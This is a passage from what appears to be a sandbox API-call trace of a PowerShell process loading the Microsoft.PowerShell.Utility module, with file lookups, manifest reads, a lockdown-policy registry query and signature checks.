nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c26638 [0131.039] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.039] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0131.039] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0131.039] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0131.039] FindClose (in: hFindFile=0x5c26638 | out: hFindFile=0x5c26638) returned 1 [0131.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e150) returned 1 [0131.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e3b0) returned 1 [0131.040] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0131.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e158) returned 1 [0131.040] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x226b59c | out: lpFileInformation=0x226b59c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0131.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e154) returned 1 [0131.040] CoCreateGuid (in: pguid=0x572e428 | out: pguid=0x572e428*(Data1=0x217edc82, Data2=0x5dad, Data3=0x4e18, Data4=([0]=0x83, [1]=0x98, [2]=0x17, [3]=0x5a, [4]=0x64, [5]=0x23, [6]=0xf6, [7]=0x28))) returned 0x0 [0131.040] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x540 [0131.041] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x548 [0131.041] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x554 [0131.041] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x550 [0131.041] SetEvent (hEvent=0x550) returned 1 [0131.041] SetEvent (hEvent=0x540) returned 1 [0131.041] SetEvent (hEvent=0x548) returned 1 [0131.041] SetEvent (hEvent=0x554) returned 1 [0131.042] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x558 [0131.042] SetThreadUILanguage (LangId=0x0) returned 0x409 [0131.043] EtwEventActivityIdControl () returned 0x0 [0131.043] EtwEventActivityIdControl () returned 0x0 [0131.043] EtwEventActivityIdControl () returned 0x0 [0131.050] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0131.052] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.052] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572dc54) returned 1 [0131.052] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572df18 | out: lpFileInformation=0x572df18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0131.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572dc50) returned 1 [0131.052] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0131.052] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.052] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.052] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x572db5c, Length=0x20, ResultLength=0x572dbcc | out: SystemInformation=0x572db5c, ResultLength=0x572dbcc*=0x0) returned 0xc0000003 [0131.053] GetSystemInfo (in: lpSystemInfo=0x572dbd8 | out: lpSystemInfo=0x572dbd8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0131.053] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x572db68 | out: phkResult=0x572db68*=0x55c) returned 0x0 [0131.053] RegQueryValueExW (in: hKey=0x55c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x572db84, lpData=0x0, lpcbData=0x572db80*=0x0 | out: lpType=0x572db84*=0x0, lpData=0x0, lpcbData=0x572db80*=0x0) returned 0x2 [0131.053] RegCloseKey (hKey=0x55c) returned 0x0 [0131.054] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.054] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572dae0) returned 1 [0131.054] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x55c [0131.054] GetFileType (hFile=0x55c) returned 0x1 [0131.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572dadc) returned 1 [0131.054] GetFileType (hFile=0x55c) returned 0x1 [0131.055] SetFilePointer (in: hFile=0x55c, lDistanceToMove=0, lpDistanceToMoveHigh=0x572db1c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572db1c*=0) returned 0x0 [0131.055] ReadFile (in: hFile=0x55c, lpBuffer=0x2278a6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572db48, lpOverlapped=0x0 | out: lpBuffer=0x2278a6c*, lpNumberOfBytesRead=0x572db48*=0x982, lpOverlapped=0x0) returned 1 [0131.056] SetFilePointer (in: hFile=0x55c, lDistanceToMove=0, lpDistanceToMoveHigh=0x572db1c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572db1c*=0) returned 0x982 [0131.056] ReadFile (in: hFile=0x55c, lpBuffer=0x2277f82, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x572db48, lpOverlapped=0x0 | out: lpBuffer=0x2277f82*, lpNumberOfBytesRead=0x572db48*=0x0, lpOverlapped=0x0) returned 1 [0131.056] SetFilePointer (in: hFile=0x55c, lDistanceToMove=0, lpDistanceToMoveHigh=0x572db1c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572db1c*=0) returned 0x982 [0131.056] ReadFile (in: hFile=0x55c, lpBuffer=0x2278a6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572db48, lpOverlapped=0x0 | out: lpBuffer=0x2278a6c*, lpNumberOfBytesRead=0x572db48*=0x0, lpOverlapped=0x0) returned 1 [0131.056] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x572dab0, Length=0x20, ResultLength=0x572db20 | out: SystemInformation=0x572dab0, ResultLength=0x572db20*=0x0) returned 0xc0000003 [0131.056] GetSystemInfo (in: lpSystemInfo=0x572db2c | out: lpSystemInfo=0x572db2c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0131.057] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x572dabc | out: phkResult=0x572dabc*=0x560) returned 0x0 [0131.057] RegQueryValueExW (in: hKey=0x560, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x572dad8, lpData=0x0, lpcbData=0x572dad4*=0x0 | out: lpType=0x572dad8*=0x0, lpData=0x0, lpcbData=0x572dad4*=0x0) returned 0x2 [0131.057] RegCloseKey (hKey=0x560) returned 0x0 [0131.057] CloseHandle (hObject=0x55c) returned 1 [0131.058] CoCreateGuid (in: pguid=0x572dbac | out: pguid=0x572dbac*(Data1=0xab6e3482, Data2=0x468c, Data3=0x4de8, Data4=([0]=0xb2, [1]=0x45, [2]=0xb4, [3]=0x51, [4]=0x20, [5]=0xc8, [6]=0x43, [7]=0x17))) returned 0x0 [0131.059] QueryPerformanceCounter (in: lpPerformanceCount=0x572d90c | out: lpPerformanceCount=0x572d90c*=1177203581729) returned 1 [0131.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572d5f8) returned 1 [0131.059] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572d8bc | out: lpFileInformation=0x572d8bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0131.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572d5f4) returned 1 [0131.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572d58c) returned 1 [0131.060] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572d850 | out: lpFileInformation=0x572d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0131.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572d588) returned 1 [0131.060] CoTaskMemAlloc (cb=0x10) returned 0x5c6c100 [0131.060] CoTaskMemAlloc (cb=0x10) returned 0x5c6c118 [0131.060] CoTaskMemAlloc (cb=0xe4) returned 0x3b3eb0 [0131.060] CoTaskMemAlloc (cb=0x30) returned 0x3e9910 [0131.060] WinVerifyTrust () returned 0x800b0100 [0131.215] CoTaskMemFree (pv=0x5c6c100) [0131.215] CoTaskMemFree (pv=0x3e9910) [0131.215] CryptCATHandleFromStore () returned 0x340810 [0131.215] WTHelperGetProvSignerFromChain () returned 0x0 [0131.216] CoTaskMemAlloc (cb=0x10) returned 0x5c6c100 [0131.217] CoTaskMemAlloc (cb=0x30) returned 0x3e9910 [0131.217] WinVerifyTrust () returned 0x0 [0131.217] CoTaskMemFree (pv=0x3e9910) [0131.217] CoTaskMemFree (pv=0x5c6c100) [0131.217] CoTaskMemFree (pv=0x3b3eb0) [0131.217] CoTaskMemFree (pv=0x5c6c118) [0131.223] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en-US\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en-us\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0131.223] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0131.224] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.224] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0131.224] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0131.224] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0131.228] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0131.228] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x64, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x63 [0131.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572d048) returned 1 [0131.228] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x572d30c | out: lpFileInformation=0x572d30c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0131.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572d044) returned 1 [0131.229] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.229] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.229] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x572cfc4, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0131.231] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0131.232] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0131.232] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x51, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x50 [0131.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ce50) returned 1 [0131.232] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x572d114 | out: lpFileInformation=0x572d114*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0131.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ce4c) returned 1 [0131.244] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.247] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0131.253] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0131.254] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0131.254] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x57, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x56 [0131.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ce50) returned 1 [0131.254] GetFileAttributesExW (in: 